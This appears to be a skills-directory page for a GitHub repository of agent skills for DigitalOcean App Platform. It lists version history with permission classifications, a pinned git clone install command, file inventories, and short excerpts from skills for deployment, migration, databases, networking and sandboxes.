Not in the top 1,000 by GitHub stars
digitalocean-labs/do-app-platform-skills
Claude/Agent Skills for DigitalOcean App Platform - deployment, migration, networking, database configuration, and troubleshooting
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/ai-services/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/deployment/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/designer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/devcontainers/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/managed-db-services/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/networking/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/planner/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/postgres/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/sandbox/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/spaces/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
skills/troubleshooting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
cc08dcdf34f5 → 1cd2028725b0
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → cc08dcdf34f5
No earlier version was observed for comparison.
Verified commit 1cd2028725b06a8ed7cd2fade9f4b7fa88193e8b
git clone --filter=blob:none --no-checkout https://github.com/digitalocean-labs/do-app-platform-skills.git .hotskills/digitalocean-labs-do-app-platform-skills && git -C .hotskills/digitalocean-labs-do-app-platform-skills checkout --detach 1cd2028725b06a8ed7cd2fade9f4b7fa88193e8b
# Copy each selected skill directory from .hotskills/digitalocean-labs-do-app-platform-skills into .claude/skills/<skill-name>/Heat
1.4- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- app-platform-router
/ - ai-services
skills/ai-services - deployment
skills/deployment - app-platform-designer
skills/designer - devcontainers
skills/devcontainers - managed-db-services
skills/managed-db-services - app-platform-migration
skills/migration - app-platform-networking
skills/networking - planner
skills/planner - postgres
skills/postgres - app-platform-sandbox
skills/sandbox - spaces
skills/spaces - app-platform-troubleshooting
skills/troubleshooting
How it works
app-platform-router
When your agent uses it
Routes DigitalOcean App Platform tasks to specialized sub-skills. Use when working with App Platform deployments, migrations, database configuration, networking, or troubleshooting.
What it loads into context
Frontmatter
102 tokensAlways available to the agent
SKILL.md
3,922 tokensWhen the skill is activated
Reference documents
30,239 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Available Skills
- Console SDK for AI Assistants
- Routing Decision Tree
- Workflow Chaining
- Trigger Phrases Reference
- Third-Party Integrations (No Skill Needed)
- Credential Handling Philosophy
- Artifact Contracts
- Plugin/Tool Requirements
- Sub-Skill Locations
- Opinionated Defaults Summary
- Escalation
Scripts executed separately
Makefilescripts/collect_analytics.pyscripts/validate_skills.pyscripts/view_analytics.pytests/conftest.pytests/test_edge_cases/test_errors.pytests/test_helpers.pytests/test_migration/test_analyze_architecture.pytests/test_migration/test_analyze_architecture_full.pytests/test_migration/test_detect_platform.pytests/test_migration/test_detect_platform_full.pytests/test_migration/test_generate_app_spec.pytests/test_migration/test_generate_app_spec_full.pytests/test_migration/test_generate_checklist.pytests/test_migration/test_generate_checklist_full.pytests/test_postgres/test_add_client.pytests/test_postgres/test_add_client_full.pytests/test_postgres/test_cleanup_client.pytests/test_postgres/test_cleanup_client_full.pytests/test_postgres/test_client_scripts.pytests/test_postgres/test_connection_string.pytests/test_postgres/test_connection_string_full.pytests/test_postgres/test_create_schema_user.pytests/test_postgres/test_create_schema_user_full.pytests/test_postgres/test_list_schemas.pytests/test_postgres/test_list_schemas_full.pytests/test_postgres/test_secure_setup.pytests/test_postgres/test_secure_setup_full.pytests/test_security/test_security.pytests/test_shared/test_configurations.pytests/test_shared/test_skill_schema.pytests/test_validation/test_documentation.pytests/test_validation/test_schemas.pytests/test_validation/test_validate_skills.pytests/test_workflows/test_e2e.py
Files
.ggshield.yamlasset596 bytes.gitguardian.yamlasset415 bytes.github/workflows/collect-analytics.ymlasset1,203 bytes.gitignoreasset263 bytesCHANGELOG.mddoc4,163 bytesCLAUDE.mddoc3,418 bytesCODE_OF_CONDUCT.mddoc324 bytesCONTRIBUTING.mddoc4,094 bytesDocs/README.mddoc1,419 bytesDocs/architecture.mddoc2,680 bytesDocs/developer-guide.mddoc1,394 bytesDocs/faq.mddoc1,093 bytesDocs/governance.mddoc1,337 bytesDocs/operations-runbook.mddoc1,566 bytesDocs/project-overview.mddoc1,893 bytesDocs/release-and-versioning.mddoc1,405 bytesDocs/roadmap.mddoc1,089 bytesDocs/security-model.mddoc2,026 bytesDocs/skills-and-content-model.mddoc1,548 bytesDocs/testing-and-quality.mddoc1,548 bytesDocs/user-guide.mddoc6,127 bytesLICENSEasset1,056 bytesMakefileruns2,323 bytesREADME.mddoc7,508 bytesSECURITY.mddoc1,506 bytesSKILL.mdcore19,580 bytesSKILL.mdcore19,580 bytesSKILL.mdcore19,580 bytesTESTING.mddoc10,283 bytesanalytics/.gitkeepasset92 bytesanalytics/README.mddoc4,120 bytesanalytics/clones/clones.csvasset12,990 bytesanalytics/content/popular_202601.csvasset4,940 bytesanalytics/content/popular_202602.csvasset14,092 bytesanalytics/content/popular_202604.csvasset4,051 bytesanalytics/content/popular_202605.csvasset5,434 bytesanalytics/content/popular_202606.csvasset4,388 bytesanalytics/content/popular_202607.csvasset3,935 bytesanalytics/content/popular_202608.csvasset5,525 bytesanalytics/content/popular_202609.csvasset4,641 bytesanalytics/content/popular_202610.csvasset4,490 bytesanalytics/content/popular_202611.csvasset1,420 bytesanalytics/latest_summary.jsonasset3,215 bytesanalytics/referrers/referrers_202601.csvasset916 bytesanalytics/referrers/referrers_202602.csvasset2,318 bytesanalytics/referrers/referrers_202604.csvasset905 bytesanalytics/referrers/referrers_202605.csvasset1,209 bytesanalytics/referrers/referrers_202606.csvasset681 bytesanalytics/referrers/referrers_202607.csvasset598 bytesanalytics/referrers/referrers_202608.csvasset994 bytesanalytics/referrers/referrers_202609.csvasset626 bytesanalytics/referrers/referrers_202610.csvasset546 bytesanalytics/referrers/referrers_202611.csvasset171 bytesanalytics/traffic/views.csvasset12,726 bytesarchitecture/AGENT-WORKFLOWS.mddoc11,586 bytespytest.iniasset573 bytesrequirements-dev.txtdoc565 bytesscripts/collect_analytics.pyruns7,985 bytesscripts/validate_skills.pyruns4,737 bytesscripts/view_analytics.pyruns5,528 bytesshared/AppSpec-Reference.mddoc16,286 bytesshared/bindable-variables.mddoc9,788 bytesshared/console-sdk-patterns.mddoc4,317 bytesshared/credential-patterns.mddoc15,813 bytesshared/error-patterns.mddoc5,853 bytesshared/instance-sizes.yamlasset3,677 bytesshared/opinionated-defaults.yamlasset6,163 bytesshared/regions.yamlasset3,548 bytesshared/skill-schema.jsonasset3,007 bytesshared/ssl-database-connections.mddoc8,341 bytestests/conftest.pyruns7,859 bytestests/test_edge_cases/test_errors.pyruns13,198 bytestests/test_helpers.pyruns6,760 bytestests/test_migration/test_analyze_architecture.pyruns6,791 bytestests/test_migration/test_analyze_architecture_full.pyruns16,567 bytestests/test_migration/test_detect_platform.pyruns2,617 bytestests/test_migration/test_detect_platform_full.pyruns10,294 bytestests/test_migration/test_generate_app_spec.pyruns5,217 bytestests/test_migration/test_generate_app_spec_full.pyruns10,662 bytestests/test_migration/test_generate_checklist.pyruns6,082 bytestests/test_migration/test_generate_checklist_full.pyruns9,484 bytestests/test_postgres/test_add_client.pyruns5,916 bytestests/test_postgres/test_add_client_full.pyruns11,238 bytestests/test_postgres/test_cleanup_client.pyruns3,605 bytestests/test_postgres/test_cleanup_client_full.pyruns16,268 bytestests/test_postgres/test_client_scripts.pyruns10,303 bytestests/test_postgres/test_connection_string.pyruns7,625 bytestests/test_postgres/test_connection_string_full.pyruns11,307 bytestests/test_postgres/test_create_schema_user.pyruns2,406 bytestests/test_postgres/test_create_schema_user_full.pyruns5,174 bytestests/test_postgres/test_list_schemas.pyruns5,112 bytestests/test_postgres/test_list_schemas_full.pyruns11,759 bytestests/test_postgres/test_secure_setup.pyruns9,723 bytestests/test_postgres/test_secure_setup_full.pyruns7,314 bytestests/test_security/test_security.pyruns15,353 bytestests/test_shared/test_configurations.pyruns1,991 bytestests/test_shared/test_skill_schema.pyruns10,837 bytestests/test_validation/test_documentation.pyruns13,413 bytestests/test_validation/test_schemas.pyruns10,868 bytestests/test_validation/test_validate_skills.pyruns11,281 bytestests/test_workflows/test_e2e.pyruns11,313 bytes
Read SKILL.md
# App Platform Skills — Router
## Overview
This skill routes DigitalOcean App Platform tasks to specialized sub-skills. Each sub-skill is optimized for a specific workflow, keeping context focused and responses precise.
**Philosophy**: These skills are opinionated playbooks, not documentation replicas. They make decisions for you (VPC by default, GitHub Actions for CI/CD, etc.) and only defer to docs for edge cases.
**Key Principle**: Skills contain only DO-specific knowledge the LLM doesn't have from training. Generic SQL, SDK patterns, and programming concepts are NOT duplicated here.
**Trust the AI**: The AI assistant should reason about the full workflow, chain skills together when needed, and adapt based on context (greenfield vs brownfield vs troubleshooting). Skills provide domain knowledge, not rigid scripts to follow blindly.
## Available Skills
View the complete source on GitHubai-services
When your agent uses it
Configure DigitalOcean Gradient AI serverless inference and Agent Development Kit. Use when adding LLM inference, model access keys, serverless AI endpoints, or building AI agents with ADK on App Platform.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,206 tokensWhen the skill is activated
Reference documents
6,104 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Decision
- Credential Handling
- Quick Start: Serverless Inference
- Quick Start: Agent Development Kit
- Available Models
- Reference Files
- Quick Troubleshooting
- Integration with Other Skills
- Documentation Links
Files
../../SKILL.mddoc19,580 bytesREADME.mddoc1,458 bytesSKILL.mdcore5,039 bytesSKILL.mdcore5,039 bytesSKILL.mdcore5,039 bytesSKILL.mdcore5,039 bytesSKILL.mdcore5,039 bytesreference/agent-development-kit.mddoc3,347 bytesreference/serverless-inference.mddoc3,802 bytes
Read SKILL.md
# AI Services Skill
Configure DigitalOcean Gradient AI Platform for App Platform applications.
> **Tip**: This is one specialized skill in the App Platform library. For complex multi-step projects, consider using the **planner** skill to generate a staged approach. For an overview of all available skills, see the [root SKILL.md](../../SKILL.md).
---
## Quick Decision
```
What do you need?
├── Simple LLM API calls → Serverless Inference
│ OpenAI-compatible API, no agent managementView the complete source on GitHubdeployment
When your agent uses it
Deploy applications to DigitalOcean App Platform via GitHub Actions with proper environment management and secrets handling. Use when setting up CI/CD pipelines, configuring staging/production environments, managing deployment secrets, or creating GitHub Actions workflows.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,929 tokensWhen the skill is activated
Reference documents
11,059 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Philosophy: PUSH Mode Deployment
- Quick Decision
- Quick Start: Environment Setup
- Quick Start: Basic Workflow
- Workflow Selection
- Quick Start: Debug Container
- Quick Command Reference
- Reference Files
- Quick Troubleshooting
- Opinionated Defaults
- Integration with Other Skills
- Production Checklist
- Documentation Links
Files
../../SKILL.mddoc19,580 bytesREADME.mddoc2,913 bytesSKILL.mdcore8,098 bytesSKILL.mdcore8,098 bytesSKILL.mdcore8,098 bytesSKILL.mdcore8,098 bytesreference/command-reference.mddoc3,406 bytesreference/debug-container-deployment.mddoc5,051 bytesreference/initial-setup.mddoc9,178 bytesreference/workflow-templates.mddoc10,166 bytes
Read SKILL.md
# Deployment Skill
Deploy to App Platform using GitHub Actions and the `app_action` workflow.
## Philosophy: PUSH Mode Deployment
This skill focuses on **PUSH mode** — where you define infrastructure as code and GitHub Actions drives deployment.
```
PULL MODE (Console-driven) — NOT covered by this skill
• Go to DigitalOcean Console → Create App → Point to GitHub
• App Platform auto-generates app spec
• Good for: Quick starts, manual one-offs
View the complete source on GitHubapp-platform-designer
When your agent uses it
Transform natural language application descriptions into production-ready DigitalOcean App Platform specifications. Use when designing apps, creating app specs, generating deploy.template.yaml, or architecting multi-component applications.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
2,291 tokensWhen the skill is activated
Reference documents
18,789 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Decision
- Workflow 1: Natural Language → App Spec
- Workflow 2: Analyze Repository → App Spec
- Workflow 3: Deploy to DO Button
- Opinionated Defaults
- Component Summary
- Pattern Selection
- Quick Start: Single Service + DB
- Quick Start: API + Frontend
- Environment-Portable Design
- Database Quick Reference
- Environment Variables Quick Reference
- Ingress (Routing)
- Validation
- Instance Sizes
- Reference Files
- Shared References
- Integration with Other Skills
Files
../../shared/AppSpec-Reference.mddoc16,286 bytes../../shared/bindable-variables.mddoc9,788 bytes../../shared/instance-sizes.yamlasset3,677 bytes../../shared/regions.yamlasset3,548 bytesREADME.mddoc2,027 bytesSKILL.mdcore9,105 bytesSKILL.mdcore9,105 bytesreference/architecture-patterns.mddoc8,888 bytesreference/component-types.mddoc6,558 bytesreference/database-configuration.mddoc8,243 bytesreference/deploy-to-do-button.mddoc6,234 bytesreference/environment-variables.mddoc7,394 bytes../networking/SKILL.mddoc5,198 bytes
Read SKILL.md
# App Platform Designer Skill
Transform natural language descriptions into production-ready App Platform specifications.
**Primary question:** "I want to build [description]. What should my App Platform architecture look like?"
**Produces:**
- `.do/app.yaml` — App Platform specification
- `.do/deploy.template.yaml` — Deploy to DO button (public repos)
- `.env.example` — Environment variable template
---
## Quick DecisionView the complete source on GitHubdevcontainers
When your agent uses it
Set up local development environments with production parity for DigitalOcean App Platform. Use when setting up local dev, adding devcontainer to a project, running App Platform apps locally, or configuring backing services (Postgres, Redis, Kafka, S3).
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
1,915 tokensWhen the skill is activated
Reference documents
9,576 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Decision
- Quick Start: Clone and Copy
- Available Profiles
- Connection Strings
- Workflow 1: New Project Setup
- Workflow 2: Add to Existing App Platform App
- Environment Template
- What You Get from Reference Repo
- Testing Services
- Health Check Timing
- Quick Troubleshooting
- Reference Files
- Limitations
- Integration with Other Skills
- External References
Files
README.mddoc3,064 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesSKILL.mdcore7,464 bytesreference/agent-verification.mddoc6,477 bytesreference/cli-workflow.mddoc6,832 bytesreference/language-configurations.mddoc4,247 bytesreference/s3-storage-patterns.mddoc7,056 bytesreference/service-templates.mddoc7,241 bytes
Read SKILL.md
# Dev Containers Skill
Set up local development environments with production parity for DigitalOcean App Platform applications.
**Primary value**: 30-second feedback loops instead of 7-minute deploy cycles.
## Quick Decision
```
What do you need?
├── New project setup → Workflow 1
├── Existing App Platform app → Workflow 2
└── CLI-only testing (no IDE) → See cli-workflow.md
```View the complete source on GitHubmanaged-db-services
When your agent uses it
Configure DigitalOcean Managed MySQL, MongoDB, Valkey, Kafka, and OpenSearch for App Platform. Use when setting up non-PostgreSQL databases, configuring trusted sources, or troubleshooting database connectivity.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
2,831 tokensWhen the skill is activated
Reference documents
9,458 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Decision
- Critical Constraints
- Trusted Sources Quick Reference
- Bindable Variables (All Engines)
- Engine Quick Reference
- Quick Start: MySQL
- Quick Start: MongoDB
- Quick Start: Valkey
- Quick Start: Kafka
- Quick Start: OpenSearch
- Common doctl Commands
- Quick Troubleshooting
- Reference Files
- When to Use Postgres Skill Instead
- Integration with Other Skills
- Documentation Links
Files
../../SKILL.mddoc19,580 bytesREADME.mddoc2,108 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesSKILL.mdcore10,749 bytesreference/kafka.mddoc6,761 bytesreference/mongodb.mddoc2,785 bytesreference/mysql.mddoc3,808 bytesreference/opensearch.mddoc3,057 bytesreference/valkey.mddoc2,905 bytes
Read SKILL.md
# Managed Database Services Skill
Configure DigitalOcean Managed MySQL, MongoDB, Valkey (Redis), Kafka, and OpenSearch for App Platform applications.
## Quick Decision
```
Which database engine?
├── PostgreSQL → Use the postgres skill instead
├── MySQL → See reference/mysql.md
├── MongoDB → See reference/mongodb.md
├── Valkey/Redis → See reference/valkey.md
├── Kafka → See reference/kafka.md (⚠<U+FE0F> trusted sources limitations)
└── OpenSearch → See reference/opensearch.mdView the complete source on GitHubapp-platform-migration
When your agent uses it
Migrate applications from Heroku, AWS, Render, Railway, Fly.io, or Docker Compose to DigitalOcean App Platform. Use when converting existing apps, mapping services, refactoring platform-specific code, or creating app specs from other platform configurations.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
2,079 tokensWhen the skill is activated
Reference documents
25,074 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Philosophy
- Quick Decision
- Supported Platforms
- Migration Workflow
- Quick Start
- Heroku Migration (Deep Chapter)
- Quick Mapping Reference
- Unmappable Items (Quick Reference)
- Output Artifacts
- Scripts
- Reference Files
- Common Issues (Quick Fixes)
- Integration with Other Skills
- Documentation Links
Scripts executed separately
scripts/analyze_architecture.pyscripts/detect_platform.pyscripts/generate_app_spec.pyscripts/generate_checklist.py
Files
../../SKILL.mddoc19,580 bytesREADME.mddoc1,571 bytesSKILL.mdcore8,646 bytesSKILL.mdcore8,646 bytesSKILL.mdcore8,646 bytesSKILL.mdcore8,646 bytesSKILL.mdcore8,646 bytesSKILL.mdcore8,646 bytesreference/app-spec-generation.mddoc5,631 bytesreference/code-refactoring.mddoc4,953 bytesreference/heroku/heroku-addons.mddoc8,805 bytesreference/heroku/heroku-concepts.mddoc8,475 bytesreference/heroku/heroku-mapping.mddoc9,885 bytesreference/heroku/heroku-overview.mddoc4,921 bytesreference/heroku/heroku-workflows.mddoc10,642 bytesreference/platform-mappings.mddoc6,562 bytesreference/workflow-examples.mddoc8,010 bytesscripts/analyze_architecture.pyruns27,641 bytesscripts/detect_platform.pyruns7,726 bytesscripts/generate_app_spec.pyruns20,176 bytesscripts/generate_checklist.pyruns16,669 bytestemplates/env-mapping.mddoc4,914 bytestemplates/service-mapping.mddoc8,069 bytes
Read SKILL.md
# App Platform Migration Skill
Migrate existing applications to DigitalOcean App Platform with honest capability assessment.
## Philosophy
This skill is an honest partner, not a magic wand. It:
1. **Analyzes thoroughly** before proposing changes
2. **Maps what it can** with confidence
3. **Acknowledges gaps** clearly and specifically
4. **Asks before proceeding** when uncertain
5. **Never guesses** or ignores incompatibilities
View the complete source on GitHubapp-platform-networking
When your agent uses it
Configure domains, routing, CORS, VPC, static IPs, and inter-service communication for DigitalOcean App Platform. Use when setting up custom domains, subdomain routing, cross-origin API access, or secure database connectivity.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,356 tokensWhen the skill is activated
Reference documents
5,159 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Decision
- When to Use
- Quick Reference
- Path-Based Routing (Quick Start)
- Subdomain Routing (Quick Start)
- CORS (Quick Start)
- VPC + Trusted Sources (Quick Start)
- Reference Files
- Common Issues
- Integration with Other Skills
Files
README.mddoc2,056 bytesSKILL.mdcore5,198 bytesSKILL.mdcore5,198 bytesSKILL.mdcore5,198 bytesreference/complete-patterns.mddoc4,662 bytesreference/cors-configuration.mddoc2,276 bytesreference/domains-dns.mddoc1,545 bytesreference/ingress-routing.mddoc2,581 bytesreference/static-ips-egress.mddoc2,345 bytesreference/vpc-trusted-sources.mddoc3,509 bytes
Read SKILL.md
# App Platform Networking Skill
Configure domains, routing, CORS, VPC, static IPs, and inter-service communication.
## Quick Decision
```
What networking do you need?
├── Custom domain?
│ └── YES → See domains-dns.md
│
├── Multiple services on one domain?
│ ├── Different paths (/api, /app) → Path-based routing
│ └── Different subdomains (api.*, app.*) → Subdomain routingView the complete source on GitHubplanner
When your agent uses it
Generate staged project plans from design through deployment. Use when planning App Platform projects, breaking complex deployments into resumable stages, or tracking multi-step infrastructure setup.
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
1,776 tokensWhen the skill is activated
Reference documents
5,169 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Greenfield vs Brownfield Detection
- Why Staged Deployment?
- Build Locally First
- Tier Classification
- Tier Structures
- Stage Templates
- Usage Examples
- Key Features
- Reference Files
- Integration with Other Skills
Files
../../SKILL.mddoc19,580 bytesREADME.mddoc1,195 bytesSKILL.mdcore7,132 bytesSKILL.mdcore7,132 bytesreference/artifact-storage.mddoc1,839 bytesreference/build-local-first.mddoc2,015 bytestemplates/local/01-local-design.md.templateasset733 bytestemplates/local/02-local-coding.md.templateasset1,863 bytestemplates/local/03-local-testing.md.templateasset2,701 bytestemplates/tier-1-simple/04-cloud-deploy.md.templateasset1,298 bytestemplates/tier-1-simple/05-cloud-validate.md.templateasset1,238 bytestemplates/tier-2-database/04-cloud-database.md.templateasset944 bytestemplates/tier-2-database/05-cloud-config.md.templateasset1,197 bytestemplates/tier-2-database/06-cloud-deploy.md.templateasset1,608 bytestemplates/tier-2-database/07-cloud-validate.md.templateasset1,138 bytestemplates/tier-3-complex/04-cloud-database-clusters.md.templateasset1,964 bytestemplates/tier-3-complex/05-cloud-config-users-topics.md.templateasset2,244 bytestemplates/tier-3-complex/06-cloud-debug-validation.md.templateasset3,665 bytestemplates/tier-3-complex/07-cloud-secrets-cicd.md.templateasset2,544 bytestemplates/tier-3-complex/08-cloud-deploy-production.md.templateasset3,268 bytestemplates/tier-3-complex/09-cloud-end-to-end.md.templateasset2,907 bytes
Read SKILL.md
# Planner Skill
Generate staged project plans that break complex projects into manageable, resumable steps - from initial design through coding, testing, to cloud deployment.
> **Tip**: For a complete overview of all available skills, see the [root SKILL.md](../../SKILL.md).
---
## Greenfield vs Brownfield Detection
| Scenario | Detection | Behavior |
|----------|-----------|----------|
| **Greenfield** | No Dockerfiles, no `.do/app.yaml` | Create artifacts from scratch |
| **Brownfield** | Dockerfiles and/or `.do/app.yaml` exist | Review, validate, enhance existing |View the complete source on GitHubpostgres
When your agent uses it
Configure DigitalOcean Managed Postgres with bindable variables or schema isolation. Use when setting up databases, creating users, managing permissions, configuring multi-tenant schemas, or troubleshooting database connectivity on App Platform.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,115 tokensWhen the skill is activated
Reference documents
8,167 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Decision
- Path A: Bindable Variables (Recommended)
- Path B: Schema Isolation
- Available Bindable Variables
- Scripts
- Reference Files
- Common Issues (Quick Fixes)
- Integration with Other Skills
Scripts executed separately
scripts/add_client.pyscripts/cleanup_client.pyscripts/create_schema_user.pyscripts/generate_connection_string.pyscripts/get_admin_conn.shscripts/list_schemas_users.pyscripts/secure_setup.pyscripts/secure_setup.shtemplates/migrations/alembic.template.pytemplates/orm/drizzle.template.tstemplates/orm/sqlalchemy.template.py
Files
README.mddoc4,133 bytesSKILL.mdcore4,482 bytesSKILL.mdcore4,482 bytesSKILL.mdcore4,482 bytesSKILL.mdcore4,482 bytesreference/bundled-scripts.mddoc2,658 bytesreference/database-migrations.mddoc3,200 bytesreference/doctl-reference.mddoc2,395 bytesreference/orm-configurations.mddoc3,732 bytesreference/path-a-bindable-vars.mddoc7,241 bytesreference/path-b-schema-isolation.mddoc7,197 bytesreference/troubleshooting.mddoc3,198 bytesscripts/add_client.pyruns10,186 bytesscripts/cleanup_client.pyruns7,205 bytesscripts/create_schema_user.pyruns12,201 bytesscripts/generate_connection_string.pyruns3,645 bytesscripts/get_admin_conn.shruns2,204 bytesscripts/list_schemas_users.pyruns4,559 bytesscripts/secure_setup.pyruns11,400 bytesscripts/secure_setup.shruns9,426 bytestemplates/migrations/alembic.template.pyruns4,695 bytestemplates/orm/drizzle.template.tsruns4,398 bytestemplates/orm/prisma.template.prismaasset1,550 bytestemplates/orm/sqlalchemy.template.pyruns2,950 bytes
Read SKILL.md
# Postgres Skill
Configure DigitalOcean Managed Postgres databases with proper security isolation and production-ready defaults.
## Quick Decision
```
Need multiple isolated schemas in one database?
├── YES → Path B (Schema Isolation)
└── NO → Path A (Bindable Variables) ✅ RECOMMENDED
```
---
View the complete source on GitHubapp-platform-sandbox
When your agent uses it
Create and manage isolated container sandboxes for AI agent code execution. Use when you need ephemeral environments to run untrusted code, execute agent workflows, or test in isolation. NOT for debugging existing apps (use troubleshooting skill).
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
1,877 tokensWhen the skill is activated
Reference documents
9,578 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Philosophy
- Quick Decision
- Prerequisites
- Quick Start: Cold Sandbox
- Quick Start: Hot Pool
- Quick Reference: When to Use Sandbox
- Quick Reference: Available Images
- Quick Reference: SDK Methods
- Reference Files
- Cost Considerations
- Integration with Other Skills
Files
